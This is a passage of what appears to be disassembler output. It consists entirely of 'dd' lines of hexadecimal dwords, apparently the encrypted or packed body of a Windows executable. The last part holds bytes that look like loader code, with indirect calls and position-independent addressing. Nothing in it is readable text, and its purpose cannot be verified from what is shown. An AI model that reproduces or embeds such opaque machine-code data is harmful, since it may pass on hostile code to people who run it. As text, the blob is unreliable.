0D1FA92F3h, 8F78339Ch dd 0E8754A0Dh, 5FF191E9h, 0BA179243h, 0F0EDFF30h, 0FDC28507h dd 0EE394EABh, 5B4706C9h, 0A07A1D9Ch, 0ABFBA92Bh, 4A1E995Dh dd 3B15BD99h, 0D864852h, 8D2B93D8h, 3C9C8576h, 14A375h dd 0D54C0F00h, 67E068B2h, 0B83FBA60h, 0D04B0D15h, 69E055CDh dd 9306B166h, 0FA20A722h, 40DAFD7Ah, 948E118Ah, 9A21A427h dd 878FACBh, 0B6F454EFh, 0E5D052D9h, 7694F04h, 284F04F6h dd 4F050646h, 4E685EBh, 48C88F4Fh, 3AB0025Eh, 0DE382B81h dd 86FB9A60h, 21E90B21h, 9958F022h, 1444h, 11B42FA0h, 0C7C64109h dd 741B9E5Bh, 2CB32CAEh, 0C5C847F6h, 81346550h, 0DB9B8706h dd 6BE1395Ch, 8635EDF0h, 0AAF98007h, 0EF07D755h, 78575554h dd 2AED6FD8h, 0E903A8D5h, 6A538454h, 1C3E4CC0h, 0FDD89933h dd 69000013h, 0B2686FE6h, 41E8106h, 57B3D255h, 0BF6B6AE5h dd 0B1C833Eh, 0C178FDACh, 179044DEh, 0AB2CAA70h, 0FE79FE24h dd 1C6120DFh, 54EF091Eh, 77B3E89Eh, 0E97349C0h, 4BD1EB62h dd 0AFBD0F8Ah, 4519B32Eh, 3973BBE7h, 0CDB67FA3h, 3E2E14CCh dd 26h, 0E5CC5259h, 83484F04h, 0BCE64508h, 342FBD3Eh, 4E66DCFh dd 430CCF4Fh, 5B7FC33Ch, 1CAC4F60h, 138755h, 0C0778000h dd 89467349h, 0BDE5440Bh, 90D1BA3Dh, 54E90033h, 7FE169B3h dd 3AAFD38h, 0D60B7C34h, 890BC4B7h, 40F0F9C6h, 53845ACDh dd 6176E379h, 5001E1Ch, 0C0749E4Fh, 42081247h, 0F40F3C9h dd 0FFB2B788h, 0AE94F04h, 5003735h, 8942B54Fh, 4B4ACD8Dh dd 0CC9C1BDFh, 0A714BA3Eh, 0CCD9F324h, 0E753B2FEh, 0B68D7D60h dd 272E14E2h, 1B8h, 0ED6FD876h, 0BEE44B2Ah, 0E446BF38h dd 404F04E5h, 0D8FDC28Fh, 0A454E8EEh, 0E846AC73h, 72557A91h dd 89933992h, 0DB4746C1h, 81C0981Fh, 0F770F822h, 33316EE5h dd 0B154E90Eh, 0CAAC957Eh, 4A54E91Dh, 34B3228Ch, 6E7AAFA4h dd 0CC9C1FDCh, 0EC246C36h, 0EB0A76D4h, 0FD25E86Fh, 7BE8C07Bh dd 0C3BC0F9Eh, 0D2849E41h, 108B4D59h, 4E9FE047h, 0AE5ACD2Fh dd 0D640AA6Dh, 0FB5468C1h, 0A72297F3h, 995CEEEAh, 32A37F1Eh dd 3E2225B7h, 0DA4F05CBh, 8502B21Ch, 73E27850h, 0CB1B1966h dd 56994F05h, 2CF65765h, 0D85305E4h, 337FDDE7h, 0E1E463D2h dd 5F1FB139h, 4FDDEF20h, 51490C8Bh, 849639Ah, 5CB3537h dd 1344B74Fh, 44081246h, 0D8F077E2h, 98A2366Bh, 0BF0359D2h dd 8E1DD5DDh, 0A515F43Ch, 0F44FA322h, 652E15ADh, 51h, 33546C46h dd 0C80A6FEAh, 0C6774E0Fh, 6AEB714Bh, 43F228EFh, 34410BC4h dd 73F1CEADh, 0F14F04E6h, 0F477E43Eh, 9273BF1Bh, 6BC93623h dd 0C94F04E6h, 0D3B2D506h, 0E631330Ch, 40B34F04h, 0C8E0A397h dd 89E12E14h, 10A5A243h, 0CB824F7Fh, 80h, 0C7E6CC02h, 2CA7299Eh dd 4ECAF1E2h, 0FB793685h, 91BE2B14h, 65D654E9h, 8205B557h dd 0D4530703h, 75F26684h, 30704A67h, 0FF9E19D1h, 0F95C380Bh dd 44A133h, 0D8F40000h, 0DB24EB61h, 4F04E6A9h, 0FAFB518Bh dd 0AC08136Dh, 2E63E452h, 75C3A59Ah, 0B9034F05h, 0D3703779h dd 0EDB0E564h, 24A7140Eh, 8DF25F94h, 4F0573FFh, 0DF3B9A5Dh dd 0EBCCF396h, 0F88F481Bh, 779h, 772CAC00h, 7B000000h dd 0C9E0E6CCh, 99B33A62h, 0C967D23Ch, 3E1D9305h, 0F49C574Fh dd 5B7A4E83h, 5A05E87Fh, 14D720Eh, 4F61E6DFh, 0C3CF88DFh dd 93778917h, 0BF5140C9h, 1BDF4B4Ah, 0B0B72E85h, 9DCE7D95h dd 322A92CFh, 5816FCDh, 46359D4Fh, 0C7356CABh, 0C53E18DBh dd 81D67B6Ch, 57882015h, 4F0587D0h, 32FB2783h, 2E142651h dd 0B844852h, 0F47882B1h, 19F2617Bh, 0B9EAEh, 60D8E900h dd 8269DEEAh, 39D8B01Ah, 9BE82161h, 0CCB7C001h, 43h, 0EA60D80Bh dd 0E658DA2Bh, 0F1D44F04h, 77AC27A9h, 4F04E5F5h, 912BA617h dd 82F738A2h, 0C173AF36h, 3ABD3C46h, 9BD8B5AEh, 0F878B33Bh dd 5CC3496h, 0D788963Eh, 9C366B47h, 729CD98Ch, 2302E99h dd 0D8690000h, 0FF2BEA60h, 5E96C07Fh, 573984ECh, 2B903992h dd 49C0777Ch, 5F92C570h, 2D14C4D4h, 3D05h, 0D6CC5000h dd 63D0E867h, 8F05C3B6h, 6EF3CC3Eh, 0F64F04E6h, 6DCCB405h dd 48058435h, 70E6CC03h, 9413C2A6h, 26B9A9BAh, 31A8216Dh dd 4EE6CC98h, 0A78E94F7h, 0F7406C29h, 342Ch, 0E6CC7B00h dd 0B6AEBA1Ch, 0F1B815C0h, 0CC28810Bh, 584356Dh, 92D3BCB7h dd 4F04E68Dh, 0CC4617D8h, 2AE760D6h, 0C277025Bh, 0E6CC7647h dd 0A3C84892h, 49772067h, 62D6CCEEh, 588D0ECCh, 330CD300h dd 4F04E631h, 0AE9740B3h, 6453E83Ah, 9D00BF3Eh, 3E9CD43Eh dd 0B31B18C2h, 0BC3FBCE6h, 2EA92C3Eh, 5FD89E88h, 0C27DFF0Dh dd 1E025CF6h, 0DCC4EED6h, 5FD89C86h, 117DD60Dh, 2F75235Ah dd 0A08931A8h, 40FB7D88h, 0E463D268h, 66AA70D4h, 0B0F0EAAEh dd 8C4A9A51h, 7882B10Bh, 0F16276F1h, 0DCAD0BCh, 0E2EFCB8Ah dd 0E26678D1h, 0D0E863E8h, 65652E63h, 76FB72E3h, 0FE64541Ch dd 2389BD3Dh, 0DE591EFFh, 2EA92C76h, 5B1EBF9Ah, 1DD03171h dd 0B027E3E2h, 2697B139h, 541BC2A7h, 2EF12264h, 8C546F4h dd 327E5852h, 96833268h, 541BCBA9h, 0B5E62964h, 27632C27h dd 355F39B0h, 9AA70786h, 3E62FC6Dh, 37E118DFh, 238D4C56h dd 0AFA434B3h, 6EC6E7Ah, 0BC605830h, 0C5C18AFFh, 35D79716h dd 6C460980h, 0BEF67050h, 23A414B1h, 81A525EEh, 0A116F73Bh dd 0BB3B6726h, 0DAB7AC3Ch, 6DCC5502h, 4E61210h, 0F674494Fh dd 764F04E5h, 7AFF1985h, 0C5C18AFFh, 2BC69716h, 0EB61D87Ch dd 0C37CFE24h, 6DCC4116h, 4E61210h, 0F4A1924Fh, 9B514918h dd 5F26B760h, 2D14C4D4h, 2505h, 61D85000h, 0F3CCD2EBh dd 4F04E66Eh, 0CCB405F6h, 44C3779Bh, 0EC52A981h, 239A9F4h dd 42150049h, 292Ch, 0D6CC7B00h, 62D1EB64h, 911BC2A9h dd 6EF3CC38h, 0C74F04E6h, 6DCC6572h, 48058435h, 44C37703h dd 62D6CC77h, 0B31CD7E5h, 4A52A235h, 1F4F04F4h, 0FFFD7958h dd 0CC528FFFh, 0E74F04E5h, 4F9B221h, 0BF3B06Fh, 8FC07FFFh dd 20A71208h, 0D5D55788h, 83374F05h, 2396B404h, 0D66BC936h dd 6C94F05h, 90EA87D5h, 0A60C5890h, 5BDE9B7Ah, 0ED6AEE34h dd 0A2289FEAh, 299CD116h, 28B7915Ch, 88F67449h, 8576915Bh dd 4B828EC8h, 706B6FF8h, 1F461h, 0CD52B400h, 0E64F04E5h dd 9BE4AB29h, 54E90602h, 0BF1E8172h, 7376D153h, 0D925F986h dd 10C39910h, 1B9E5B47h, 0B83FBB41h, 9108CDD5h, 0C27694C4h dd 8D7A7745h, 2A77480Fh, 4A5ACD33h, 5CF82089h, 4D0F2222h dd 0DBFE4h, 31A82B00h, 43C474AEh, 9413C65Ch, 2CA729F1h dd 45FC71A9h, 0BFEAD542h, 61C833Eh, 6CB6D956h, 0B06A6DEEh dd 661D803Bh, 0F5CDE27h, 0A2D854EFh, 49C077F5h, 22894673h dd 0ACA735B2h, 0BAB947Bh, 6954EF02h, 3EBBE7A6h, 0DBC185A2h dd 0B4CE7C95h, 3E358700h, 9950CACDh, 3BB04A1Eh, 0C74F2D12h dd 8CD54EFh, 0F1221591h, 0AE4C42Eh, 2B21B07Ah, 339C1BDFh dd 0F1732C99h, 0C447F42Eh, 764BB40Bh, 0DE5AD372h, 71B4B68Fh dd 9E504F13h, 0E29C5765h, 57FFFC31h, 0D82213DEh, 0D22B170h dd 0CD8E0000h, 63D73352h, 0B039E1E4h, 0CA8C9639h, 61D44E51h dd 8736E7E6h, 0A124A312h, 5B7AF579h, 0F8E09CFh, 0A225A413h dd 0F97B441Bh, 7B54EF0Eh, 0C077560Dh, 1D55A750h, 0BBEC7673h dd 2A0875D4h, 8A4F05C8h, 91CC8C49h, 0E7A624h, 5C83D3Fh dd 0E21DDF4Fh, 87611DD6h, 0AA6758D7h, 0C939EADBh, 948E54E9h dd 0CDE9A225h, 0D89F8B0Ah, 924B3EA1h, 4F861909h, 6B5C001Fh dd 5A265BA4h, 0CD0E5AD3h, 0C759100Ah, 38C5647Fh, 0CB8B97D2h dd 92C77C4Ch, 27A217F3h, 49C07795h, 0B894673h, 80867B44h dd 2DEE54F7h, 37E7788Ch, 541DBF1Ch, 0C74h, 0E1E41FD0h dd 9736B139h, 444BCE8Bh, 0FCE31CDEh, 9538B726h, 0F1643580h dd 0BCB5776h, 5B11098Ch, 0F665BD20h, 0FAA95077h, 0EF0FA785h dd 28670554h, 0EADBC077h, 4F04E688h, 0E664C63Fh, 0FC04F04h dd 6FCD3293h, 0CD4F04E6h, 0D4E4D90Ah, 0EFAE2C99h, 0E90B0D96h dd 27A66954h, 0D5F87FFBh, 8A0D8C4Dh, 0ED6FD8DDh, 985F4B2Ah dd 0D5068148h, 0A2834C87h, 54E90A85h, 0B5AA3EF1h, 54E909B3h dd 0F05BB71Eh, 15924297h, 0BFD52039h, 5973F663h, 7DA521EAh dd 33A9CB27h, 0C080633Bh, 60602317h, 828933F9h, 0CC000000h dd 7444C377h, 0D7E562D6h, 0A225948Eh, 0B11A9558h, 5068E355h dd 6890ECAh, 9578FAB3h, 3526B3BDh, 854ED8F1h, 91474322h dd 0B74BD16h, 6B54E902h, 4DFF03A8h, 88401C3Eh, 0B9329h dd 0C57CFF00h, 179058C2h, 0A82FAA70h, 0C07BFD25h, 199045DDh dd 8316A176h, 0EA3057D2h, 30EAED6Ah, 849E01BAh, 8A3154D7h dd 1188EADBh, 86E454EFh, 44C377C9h, 5FDD2281h, 0DD4F04E6h dd 0AF2EB11Ah, 56h, 44C377FEh, 0E8C7974h, 3409E84Fh, 4F04E636h dd 0AB8845B6h, 54E909FEh, 9C842516h, 0D31C3E46h, 0B2AB879h dd 0D5860000h, 6BEF3B5Ah, 0B831E9ECh, 0D2849E01h, 69EC3659h dd 7F3EEFEEh, 0A92CAB2Ah, 4342FD71h, 0F79611C7h, 0AA2DAC2Bh dd 0F1734C13h, 7354EF10h, 0C0775E35h, 47A80550h, 478B3139h dd 724A84E8h, 0CC9CD1FDh, 0A317B93Eh, 6DD9F324h, 0A99A535Fh dd 0D22E14E6h, 21Fh, 0A72297F3h, 1048EDEAh, 0F85FDD8Ah dd 0E90FEA87h, 0CF894A54h, 80B921E0h dd 5FDD8A48h, 0F7C892F8h, 90F407Ah, 78713634h, 1045B645h dd 1E9FE047h, 454B5CA2h, 9F9B99E6h, 0D619429Ch, 2ABE717Dh dd 0E86DC6BFh, 41593C71h, 0E6B9128Dh, 0F87AA007h, 89F66D7Fh dd 429C9FABh, 3CBCC609h, 0BF91DEBBh, 0FE48840Ch, 0DCB932A4h dd 64BE61D2h, 61985DF7h, 20A7984Bh, 62D37DFAh, 2D1ED5E7h dd 0B193AE8Ch, 0BA7BD12Bh, 0A4Ch, 19BC37B8h, 0CFCE4901h dd 7C63E653h, 14BB34A6h, 0CDD04F0Eh, 894C5D58h, 23938F0Eh dd 73F921A4h, 8E4DD5F8h, 92F1880Fh, 0EF11CFADh, 5F2D54h dd 7444C377h, 4F0E8C79h, 0EF01FF76h, 0D5B87B54h, 0C7941C76h dd 0DFF8A4CAh, 2BA42872h, 41FE7EA4h, 59D2849Eh, 34E1DCFCh dd 0C088D89Fh, 8DFE7547h, 0CD3043Fh, 0D3D62E33h, 8245B65Ah dd 0C072D498h, 8D461247h, 849E7DC0h, 41FA70D2h, 9747430Ch dd 0D3B7B58Ah, 0C2354F13h, 0A0140E91h, 0D3EA48B5h, 894A4F13h dd 71E60454h, 7D6BF1F6h, 0B8102213h, 9A7F9h, 0D9500300h dd 6BEC6CB6h, 0BC3BBE64h, 0D44F0119h, 6DE469B1h, 9702BD6Ah dd 0FE24AB26h, 44DEC17Eh, 0A8721596h, 9E25A823h, 1374F6CFh dd 8AF054EFh, 221827DDh, 0B04F04E6h, 9D48A6EAh, 97E3A220h dd 0CF30FD09h, 4F050A6Dh, 0BEC20CCFh, 0EDB01DBBh, 0E9448F90h dd 61241754h, 9639B039h, 0F75DDB37h, 0CC9C1BDFh, 0FC23B17h dd 8C5B461h, 0B5FACB8Ah, 0B15ACF90h, 0D4839F7Eh, 617BFC7Ch dd 41E81F2h, 0B397D457h, 4221FD9h, 91AED54h, 0C5760000h dd 1BDF4B4Ah, 0A821F99Ch, 0C274AE31h, 19DC4649h, 8F2EFF9Eh dd 0B9DC5B1Ah, 5372ED61h, 78601B7h, 0BADD5C1Bh, 1635C03h dd 6354EF14h, 0CC524E05h, 484F04E5h, 32850883h, 3F00C745h dd 54E93269h, 88F4A50h, 0AF28AAB0h, 2215917Ah, 0A4B12763h dd 0E931D95Bh, 0A7985B54h, 0FB7CFA20h, 8B600E1h, 0D8570000h dd 4B2AED6Fh, 4D1F9A5Fh, 4C31BC96h, 0F7AD4B3h, 0E8687D42h dd 231454E9h, 0A7D05689h, 843454E9h, 2593A903h, 19F6A3BBh dd 7FB0BF37h, 0CF33996Dh, 0AAD6B407h, 0F8EE2063h, 1CC4933h dd 9B7A0000h, 1051C88Fh, 54E8FF12h, 0FEF67449h, 857654E8h dd 5C7DD619h, 8746C177h, 0E65DDF20h, 1CDF4F04h, 52B819B3h dd 5E0A59D8h, 34360F43h, 0B04F057Fh, 45410A7Fh, 5BB71691h dd 0F5F3BD71h, 37A56EDCh, 0E3EA615h, 0DAD3549Eh, 0FB10C610h dd 87812C52h, 2797F352h, 0C72310A8h, 0FC49413h, 46F41642h dd 0FC0C6E57h, 0A7684F04h, 0C1779372h, 20FA8D46h, 8F6E31AAh dd 4FBB4B6h, 12FF304Fh, 57031F46h, 8E4BF8D0h, 1BDD7E2Bh dd 97E8AFE0h, 4F04FBCDh, 0C129EC2Fh, 0FCB58C13h, 62E55243h dd 94746431h, 0B523C2CEh, 0B38C5332h, 4F057BB1h, 7017C033h dd 0D3822CAAh, 96496354h, 4F057C88h, 0DD3C64CEh, 9AF99C1Fh dd 7C68CA3Bh, 13C44F05h, 0BC36F346h, 0AB207AD9h, 45B29830h dd 2495FB60h, 0F3309DCEh, 4F05E379h, 4D5538FBh, 8BB8108Bh dd 0FC708ACEh, 0E38EECD1h, 2DEE4F05h, 894DD5F8h, 2BA0BA0Eh dd 520218B0h, 0BB6B9CCh, 0A297955Ch, 0C740F416h, 1D055FF5h dd 0E1218BD5h, 0CCD34C00h, 5369E656h, 642BA966h, 0E99BAA1Bh dd 0C6C90A54h, 4D1F985Ch, 7E21AB10h, 50D7839Fh, 8AC0BE87h dd 8EF54E9h, 0E98B3537h, 3A44B754h, 0B0A339BEh, 0BC31DBE7h dd 0AEDF381Ch, 0BAEFD854h, 0DC5EA72Eh, 5854E8F0h, 0AE71A297h dd 5A5E0444h, 35A4D14Eh, 0F82D26B2h, 2FAFBD1Fh, 550218B0h dd 5B2786D2h, 8502B657h, 62AE7450h, 0FC7DD383h, 0AAF46F7Dh dd 9578AD2Ah, 9E53CD8Dh, 0FA20C422h, 0FE814ABFh, 0A537B024h dd 1AFD7F28h, 0CD16BC25h, 0B017D85Ah, 5C6CEB6Ah, 1947ABE7h dd 893A4E9Dh, 0ED61B9CCh, 1B75372h, 0FC3B469Fh, 7DAE7935h dd 6FD88D5Ah, 3A0B12C4h, 4F04E638h, 0BA0E43B4h, 99F15489h dd 4234FBB2h, 0DD0BDA9h, 0E931D330h, 88201354h, 5E41C672h dd 0EB61D889h, 0E6086ED1h, 0E7434F04h, 0C91172BBh, 33922E14h dd 4DA70F2h, 4E0BCC4Fh, 3F17h, 0C3774600h, 22A98144h, 0CB904454h dd 915602CFh, 4F04FA93h, 6840FB71h, 0D4E463D2h, 69A1E1B9h dd 6C8DF55Fh, 109742ECh, 2147B8DFh, 4A4F051Ch, 59DB248Bh dd 0DB4F051Ah, 0A208BF18h, 5FFFFFFFh, 7049C077h, 61D86E39h dd 5B0CD2EBh, 0B515E6CCh, 0D7209CABh, 13B387Ah, 55AC2D15h dd 1D000000h, 21E341BEh, 8E414C05h, 61D894C5h, 0D6CCD2EBh dd 62D1EB64h, 70DD5618h, 0E5D250ADh, 2A894F04h, 4E657D5h dd 8A4BD54Fh, 5586BD0Fh, 0E5AF8DF2h, 0CA0D4F04h, 25B26501h dd 0C3779BCCh, 5A6EE96Dh, 0CC27B4E9h, 0CDB77BE6h, 8C5FE8Ah dd 2A2CCB6Ch, 7B000000h, 47961D8h, 4F04E626h, 2D9E0D6h dd 611D40BEh, 0CC6C7DAEh, 4E671F3h, 5871C24Fh, 83356DCCh dd 770E4F08h, 157744C3h, 356DCC42h, 59DB0883h, 0DB4F04E6h dd 0E653BF18h, 94964963h, 324F04E5h, 44C37793h, 4812FF74h dd 0A920A948h, 0F42DD926h, 83424F04h, 0FB7ED287h, 82B10B7Ch dd 0F3EE96C9h, 77C1FFFFh, 624144C3h, 0E5C0A283h, 0FB3C4F04h dd 60E25B1Eh, 0F7340BDh, 60D354E9h, 0E919748h, 6E3C54E9h dd 0F698EB22h, 7C133F8h, 14000000h, 12Ch, 6FD87B00h, 7AF02AEDh dd 833E95C1h, 77CCD8A0h, 3E64CB9Ah, 0B6AD3FB8h, 0EE0B94DDh dd 0A86B54E9h, 0C94E0A10h, 0CA3079C6h, 0B62454E9h, 0C2889235h dd 0D99C8649h, 7CD90A5Eh, 0BC96755Ch, 0D7EEF078h, 313370EBh dd 0B354E9D5h, 91B49740h, 41BE1DE0h, 54E9D4E3h, 9933AA21h dd 12FF30AAh, 23A94848h, 0E74625A8h, 0E9D49C9Eh, 7AD71854h dd 9A205B10h, 6A50CB80h, 698888D2h, 0DCAD6BE2h, 3C9916C6h dd 0C4E45F9Fh, 0C7152E94h, 40000000h, 26E963D8h, 53F6F1CCh dd 0A06D0CCEh, 6EF3CC2Bh, 0C74F04E6h, 6DCC6572h, 3680B005h dd 2CF4A74h, 62D63755h, 7049C077h, 61D86E39h, 7AFE24EBh dd 0B1E265D4h, 18DE281Bh, 0BD16CD9Fh, 0CC5B0C1Ch, 0D5E760D6h dd 0F241B51Eh, 1B2D14C4h, 2Bh, 0EB61D8B2h, 0C17EFE24h dd 0F3CC4714h, 4F04E671h, 0CCAB00F3h, 44C3779Bh, 2C421577h dd 49h, 53D12E8Dh, 0D14F04E6h, 0D824B51Eh, 26047961h, 0E64F04E6h dd 6EE5F770h, 57578374h, 893A8D4Ch, 0CC0BA095h, 0D3E966D6h dd 0B0088349h, 22854E83h, 4E65FDDh, 724BEC4Fh, 0C3779BCCh dd 86A98144h, 5923D803h, 1586D780h, 64D6CC42h, 0A962D1EBh dd 0FFFF3036h, 0C07761FFh, 62E97349h, 0E6260479h, 4C864F04h dd 0C63ED8A8h, 0FF3065C5h, 0B230EDD8h, 50AD0CD3h, 4F04FDD2h dd 0B4048332h, 7D003BFh, 0E914D93Eh, 8EDA1D54h, 0E8F3D759h dd 68A87254h, 0F8DAE2A1h, 3A0B33h, 0D8420000h, 0D52AED6Fh dd 54E90860h, 9E411BDCh, 54E90798h, 0AA46AC33h, 0E0A4309Ah dd 40C5603h, 0F90876CDh, 57A80F33h, 54E918D5h, 15E9CF07h dd 1793B354h, 0DD7C6B24h, 9B000000h, 7349C077h, 8834852h dd 1792434Fh, 0B930A745h, 0BDAEFCD6h, 0E8FC4B30h, 0D89FAD2Fh dd 0F85F3EA1h, 27B532A2h, 275F72Ch, 4F74F05h, 6506A4Bh dd 8F4C4F05h, 0DA91890Ch, 0E35C09A3h, 0F3DFBE61h, 0E0DDFF14h dd 4F054C82h, 0C3E531E2h, 72B31C92h, 54E98641h, 0F577481Dh dd 7754E981h, 824B2916h, 66A954E9h, 0EADDC035h, 79D8BF3Dh dd 5932AD21h, 0D02B6818h, 440BCC5Ah, 7D609F5Eh, 30B930A5h dd 22203658h, 0C104ED6Fh, 2D000002h, 76AC33AAh dd 0D84245C2h, 2BF79611h, 73AF2EA9h, 0D74047C2h, 853CB1E8h dd 0DB541802h, 6FE86EB4h, 8205B268h, 0D8256403h, 54EF1A5Ah dd 77F7ACDAh, 65444BC6h, 0E5BBB986h, 0DF394F04h, 1BC8E01Fh dd 0AA216D26h, 1F066C33h, 1513A14Fh, 0BDCE3ACh, 2AED6FD8h dd 0E44E82C0h, 0BF18A4BBh, 0FD9E97E8h, 0DD1E54E9h, 32AD207Ah dd 48527359h, 0B3CF0B84h, 0ABA309F4h, 2C3273DCh, 0A754E99Eh dd 2D16DFC3h, 0B633F981h, 928CEED7h, 0C08854E9h, 0C4FE7547h dd 0C940F713h, 107510Ch, 18720000h, 26975B25h, 759C6FABh dd 777D5A37h, 0FD850C0h, 5E72730Eh, 50A0361h, 7DAE614Fh dd 2BAAB008h, 3AB1E9ACh, 0ACBD369Ah, 0A798265Bh, 0C641F715h dd 0AF903895h, 4F051915h, 0B6D95007h, 8E09CBD7h, 2EA9203Ah dd 9B74A99Ah, 6B41F87Fh, 5C03817Eh, 0F1B9446h, 0A302CF4Ah dd 0E92B3142h, 0E77D654h, 54E9172Ch, 0E08A4788h, 60AAFA36h dd 7D95F92Fh, 0A390FA7Dh, 8CF0070h, 0CFD654A9h, 0E55654E9h dd 0D75E71A9h, 3C99B05Ah, 0E361DEA9h, 7350C33Ch, 0C3345AD0h dd 0F157061Ch, 0A8DFE79h, 66384FABh, 89962A8Ah, 9413C2CCh dd 20205FD7h, 39F85022h, 170h, 0FDE01BDCh, 9332B525h, 4047C277h dd 0F89F18DAh, 9134B322h, 0ED603984h, 7B75372h, 5F1D0588h dd 0EA61B9DCh, 0F6D56C73h, 0EF1AAB89h, 24730954h, 0F662C677h dd 71593C71h, 44DD4A6Bh, 9736E392h, 4A4DCC8Bh, 16BA3F6Bh dd 5F9424A3h, 28E55E6Ah, 49C077A3h, 7962E973h, 4E62604h dd 7955864Fh, 792D8D9Bh, 0E2E5D695h, 0F95CDE97h, 0E96EA384h dd 72F90354h, 0B128AFFBh, 0CA81997Ch, 8E6D4C53h, 0E966B3B1h dd 60D73154h, 2F60D3E9h, 38B33862h, 0FA7835A0h, 4A5EB41Bh dd 2725F0EFh, 91ECD5BEh, 0ED5AD3BDh, 0C3E78D2Ah, 4C0C2213h dd 0BFE5h, 31A82B00h, 43C474AEh, 9413C65Ch, 2CA729F1h dd 45FC71A9h, 0BFEAD542h, 61C833Eh, 6CB6D956h, 0B06A6DEEh dd 661D803Bh, 1C5CDE27h, 0A2D854EFh, 0ED6FD8F5h, 0DA7CF02Ah dd 2580F73Ah, 5F6D5EFAh, 442B0976h, 46894F05h, 98E5B815h dd 54EF5FF5h, 0D3CF8E41h, 1CD7E564h, 540319B3h, 0E368B2D5h dd 47158C41h, 15F45B8Ch, 0EF284A28h, 0AC69AA54h, 93CE3B2Ch dd 744E9A81h, 0C66EED0Ch, 10C39916h, 0F562B8DFh, 0C7779372h dd 16C37048h, 9436B842h, 9CE1A427h, 8F7D0E9Eh, 0D0E8DD1Eh dd 0BF0D8A4Ah, 1AAE29ADh, 0BA72BE08h, 0B9585822h, 0E14BB32h dd 3BFACE49h, 8, 51CE8E94h, 5106D784h, 7F4DC477h, 0DDEF6EEDh dd 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h, 0CA9E19DBh dd 0AA3EB930h, 0D5FD890h, 4EC81B3h, 89000000h, 0E2892414h dd 4C281h, 0EA830000h, 24148704h, 2293685Ch, 34890000h dd 7B206824h, 2C890000h, 26BF5724h, 8905EA1Dh, 243C8BFEh dd 4C481h, 0EC830000h, 24248904h, 4240483h, 1D75685Dh dd 3C890000h, 89F78924h, 8B5F087Dh, 8956242Ch, 4C681E6h dd 83000000h, 348704C6h, 348B5C24h, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 4608E95Ch, 3DCDFFFAh, 0D050B724h dd 0EA3740B8h, 50C50305h, 2A4985C6h, 684705E4h, 0CF381725h dd 28E5B5FFh, 858D05E4h, 5E43994h, 0D88BD0FFh, 501858Dh dd 685005E4h, 104h, 85C6D3FFh, 5E42A49h, 0F8BF6853h, 0B5FF8307h dd 5E428E5h, 3994858Dh, 0D0FF05E4h, 1B078589h, 0BD8305EAh dd 5E42265h, 0B840F00h, 8B000000h, 0E432A19Dh, 5E905h dd 0BB0000h, 68000000h, 100h, 1B0BB58Dh, 535605EAh, 2A595FFh dd 0B58D05E4h, 5EA1B0Bh, 1E9F003h, 4E000000h, 0F5C3E80h dd 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 0B858D00h, 5005EA1Bh dd 1B0795FFh, 0FF5805EAh, 8B54ABE0h, 0F0085210h, 0C8638C40h dd 1B570A00h, 0D3E5F266h, 2DD8172Ch, 5BC3DD31h, 1844F475h dd 1D32A772h, 688D8D4Dh, 6A05EA39h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 2B63C357h dd 0CE8h, 9511FF00h, 0CC864EE2h, 0D5941881h, 295AF5D0h dd 0E42725B5h, 958D8905h, 8905E410h, 0E4095195h, 6585C705h dd 5C05E42Ch, 33000069h, 0E42E6DBDh, 0FD85C705h, 5E430h dd 29000000h, 0E4006D85h, 1B5FF05h, 6A05E410h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0E822C351h, 0B4EA040Fh, 143BF9A3h, 2A6195FFh, 6A05E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0A5412AC3h, 69BE009h, 52619281h, 8DF78166h, 6A5F01h dd 10C195FFh, 0C08B05E4h, 0E4A579EBh, 35906A21h, 0E92941C6h dd 661E310Bh, 91AE9AC1h, 3C5A67C0h, 79F50B0Dh, 7B73B324h dd 0A1A0A75Eh, 61527ED8h, 1424FC71h, 72BB40B7h, 8A4FA64Fh dd 0DA6F7B42h, 4C785CE3h, 0EC69881h, 0D286FC0Bh, 0B8496207h dd 0CAB6B60Ah, 0B7D8200Ah, 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h dd 0DB45B90Ch, 1FB4E61Dh, 456347FAh, 2F89F8ADh, 3F4EED63h dd 84A02498h, 6437EF17h, 0EB2CFC39h, 0F5B24A04h, 4E1E92Eh dd 0D5860000h, 6BEF3B5Ah, 0B831E9ECh, 0D2849E01h, 69EC3659h dd 7F3EEFEEh, 0A92CAB2Ah, 4342FD71h, 0F79611C7h, 0AA2DAC2Bh dd 0F1734C13h, 7354EF1Eh, 0C0775E35h, 64E97349h, 7A4B2AEDh dd 4F04E5F8h, 0B7D68374h, 0AA6DEC6Bh, 4467F970h, 48FB8617h dd 9A496354h, 68CA3Bh, 13C44F05h, 0ECB31246h, 4FF9193h dd 1839134Fh, 1DEBAEBBh, 3C663364h, 9EAC3CBFh, 0F50F5DDAh dd 0D72A7A50h, 0C47E67B0h, 0A2434F0Bh, 0F713B235h, 5BC7C641h dd 74E1A9Dh, 80D85F1Bh, 6C3ED64Ah, 0B7CF4FFh, 1790444Eh dd 131FE545h, 0DCC344F2h, 42169146h, 5D29C9Dh, 0C74564Fh dd 0AC8EF756h, 84F05D2h, 5B280AC7h, 8C2E15B6h, 8Dh, 3615E3Dh dd 614F05C7h, 77F4E5AEh, 9C8649C0h, 0D2015BDCh, 8CEC5379h dd 0A64F04E6h, 5C461C04h, 974C1C9Fh, 0C98BF83Ah, 0EFC2E14h dd 0ED000000h, 251A03B5h, 4F04DA47h, 540172A5h, 67D6CC07h dd 763D0E8h, 5182D651h, 59DE9A84h, 0F671F903h, 0CA4D0B17h dd 0C08845FEh, 0A416B83Ah, 50E2F62Bh, 6FEB0A76h, 7D7C1F1h dd 0ABF7C35Ch, 5A7DAE29h, 1AAE2F7Bh, 2BE4D95Eh, 26368EFh dd 4F04FD20h, 76F4C99Ch, 0F64F04FDh, 0F89FD005h, 4BC6776Fh dd 0A0DF9E84h, 5A7EDB08h, 3D8F08C0h, 8CD6DAA0h, 0EEAB2496h dd 17B631A4h, 0FFCD4C0Bh, 0AF9077D6h, 4F04E5CDh, 0B5B7EC2Fh dd 374F04E5h, 4A0F0BC4h, 0A51208CFh, 98CD4C0Bh, 124613C0h dd 0F1CB4408h, 5A6EE96Bh, 0E6377B4Fh, 0CFC4BC7Eh, 